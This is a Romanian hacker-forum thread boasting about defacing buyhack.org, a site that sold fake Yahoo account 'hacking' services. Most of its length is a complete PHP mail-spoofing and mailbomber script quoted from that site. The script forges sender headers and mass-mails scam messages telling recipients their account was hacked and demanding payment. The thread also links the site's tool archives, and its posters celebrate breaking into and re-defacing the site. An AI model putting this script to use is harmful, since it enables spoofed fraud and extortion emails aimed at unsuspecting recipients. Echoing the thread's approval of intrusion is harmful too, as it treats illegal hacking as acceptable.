BUYHACK.ORG -> PwNeD

[Guest Nemessis]

http://buyhack.org

"Hackerii" de id-uri foloseau un simplu scam de Yahoo ca sa isi faca treaba. Scripturile pe care le foloseau erau toate publice. Cam atata despre ratatii astia care isi faceau reclama pe demonstratia mea video. Daca or sa isi puna site-ul la loc o sa avem grija de ei din nou.

[Guest Kenpachi]

weak ass punks

[Hertz]

Ha ha ha

Bulls..... Nice work!

[Guest Nemessis]

Ce minunatii aveau oamenii pe site:

http://buyhack.org/fakestatusmaker.rar

http://buyhack.org/yahoo.rar

http://buyhack.org/Kermitz-Over-Kill.zip

Si desigur fulminantul lor mesaj ce anunta oamenii ca id-ul cerut a fost spart (engleza de balta included):

<?php
// Script by Bosny hacker.

session_start();
$_SESSION['checked'] = 1; // no login needed!
$sUser = "demo";
$sPass = "1234";

function validateEmail($pEmail) {
    ereg("([_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*)", $pEmail, $regs);
    if($regs[1] == $pEmail) {
        return TRUE;
    }
    return FALSE;
}

$action = (isset(
$_POST['action']) && is_string(
$_POST['action']) && strlen(
$_POST['action'])
>= 1)
? $_POST['action'] : -1;

echo "<font size='6'>[b]Welcome to [url]www.buyahck.org[/url] [/b]</font>
<font size='4' color='gray'>Distreazate...</font>

";

if($_SESSION['checked'] == 1) {
    // This user is validated
    if($action == -1) {
        ?><style type="text/css">
<!--
body,td,th {
	color: #FFFFFF;
	font-family: Times New Roman, Times, serif;
	font-weight: bold;
}
body {
	background-color: #0099FF;
}
-->
</style>
        <form input='' method='POST'>
          <div align="center">
          <input type='hidden' name='action' value='sended'>
        Adresa de email:

        <input name='to' type='text'>


        Numele de la cine vine floodul:

        <input name='realname' type='text'>


        Adresa de mail de la cine vine floodul:

        <input name='from' type='text'>


        Subject:

        <input name='subject' type='text' value="Hello from [url]www.buyhack.org[/url] User it`s now hack for payment contact me at [email]buy_hack@yahoo.com[/email]">


        Include futel inapoi cu mesaje?


        <input name='fuckback' type='checkbox'>


        Msg:

        <textarea name="msg" cols="83" rows="8">User it`s hacked, this mail it`s sent from [email]turkyturk@yahoo.com[/email] mail adress to recive password and make payment contact me at [email]buy_hack@yahoo.com[/email] price 50 $.
To buy software to hack all yahoo, msn and gmail contact me at [email]buy_hack@yahoo.com[/email] price All passwords hack V.1.0 500 $

Good day 
www.buyhack.org</textarea>


        Numar de bombe:

        <select name="num">
          <option value="1">(1) Mail anonim </option>
        </select>




        <input type='submit' value='Dai drumul ba!!'>
          </div>
        </form>
        <div align="center">
          <?php
    }
    else {
        $to = $_POST['to'];
        $realname = $_POST['realname'];
        $from = $_POST['from'];
        $subject = $_POST['subject'];
        $msg = $_POST['msg'];
        $num = $_POST['num'];
        $fuckback = $_POST['fuckback'];

        if($to != "" && $realname != "" && $from != "" && $subject != "" && $msg != "" && $num != "" && validateEmail($from) && validateEmail($to)) {
            $message = "";
            $headers = "From: $realname<$from>\n";
            $headers .= "Reply-To: <$from>\n";
            $headers .= "MIME-Version: 1.0\n";
            $headers .= "Content-Type: multipart/related;type=\"multipart/alternative\"; boundary=\"----=MIME_BOUNDRY_main_message\"\n";
            $headers .= "X-Sender: $from<$from>\n";
            $headers .= "X-Mailer: PHP5\n"; //mailer
            $headers .= "X-Priority: 1\n"; //1 UrgentMessage, 3 Normal
            $headers .= "Return-Path: <$from>\n";
            $headers .= "This is a multi-part message in MIME format.\n";
            $headers .= "------=MIME_BOUNDRY_main_message \n";
            $headers .= "Content-Type: multipart/alternative; boundary=\"----=MIME_BOUNDRY_message_parts\"\n";

            $message == "";
            $message .= "------=MIME_BOUNDRY_message_parts\n";
            $message .= "Content-Type: text/html;\n    charset=\"iso-8859-1\"\n";
            $message .= "Content-Transfer-Encoding: quoted-printable\n";
            $message .= "\n";
            $message .= "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\n";
            $message .= "<HTML><BODY><FONT FACE=VERDANA>\n";
            $message .= $msg;
            if($fuckback == "on") {
                $message .= "


Fuck back at: [url='http://demo.scripts.boukoul.nl/php/mailbomber/mailbomber.php']http://demo.scripts.boukoul.nl/php/mailbomber/mailbomber.php[/url] :)";
            }
            for ($i = 0; $i < $num; $i++) {
                mail($to,$subject,$message,$headers);
                echo $i + 1 . " Si acum se trimite !!!
\n";
            }            
            echo "

[url='". $_SERVER['][b]Trimite la alcineva Click aici...[/b][/url]";
            echo "<meta http-equiv=\"Refresh\" content=\"90; URL=''\" />";
        }
        else {
            echo "Necesita o adresa de mail valida a ta sa vada de unde a venit flodul.";
            echo "<meta http-equiv=\"Refresh\" content=\"4; URL=''\" />";
        }

    }
}
else {
    // Needs to login or check.
    if($action == "checkLogin") {
        $user = (isset(
        $_POST['user']) && is_string(
        $_POST['user']) && strlen(
        $_POST['user'])
        >= 1)
        ? $_POST['user'] : -1;

        $pass = (isset(
        $_POST['pass']) && is_string(
        $_POST['pass']) && strlen(
        $_POST['pass'])
        >= 1)
        ? $_POST['pass'] : -1;

        if($user != -1 && $pass != -1) {
            if($sUser == $user && $sPass == $pass) {
                $_SESSION['checked'] = 1;
            }
        }
        echo "<meta http-equiv=\"Refresh\" content=\"0; URL=''\" />";
    }
    else {
        ?>
        </div>
        <form action="" method='POST'>
          <div align="center">
          <input type='hidden' name='action' value='checkLogin'>
        Username:

        <input type="text" name="user" value="demo">


        Password:

        <input type="password" name="pass" value="1234">


        <input type='submit' value='login'>
          </div>
        </form>
        <div align="center">
          <?php
    }

}
?>
        </div>

[CobrA]

Gj neme. Be bad

btw: Kenpachi e prea urat ca sa fie pus acolo. Mai bine puneati poza de la RST.

[Guest Nemessis]

http://buyhack.org/dai.php

[~Xenoger]

450 $ , oare or fi prosti care sa plateasca ?

[coolbyte]

Scump domne scump dincolo era mai ieftin

[CobrA]

Ce suparat e neme Pacat ca nu le mai merge siteu

[Guest Kenpachi]

fixed and re-hacked ... this time I used a rst logo

[oldnavy]

doamne,ce copii prosti

[~Xenoger]

haha neme , neme , neme ... fmm de pupincuristi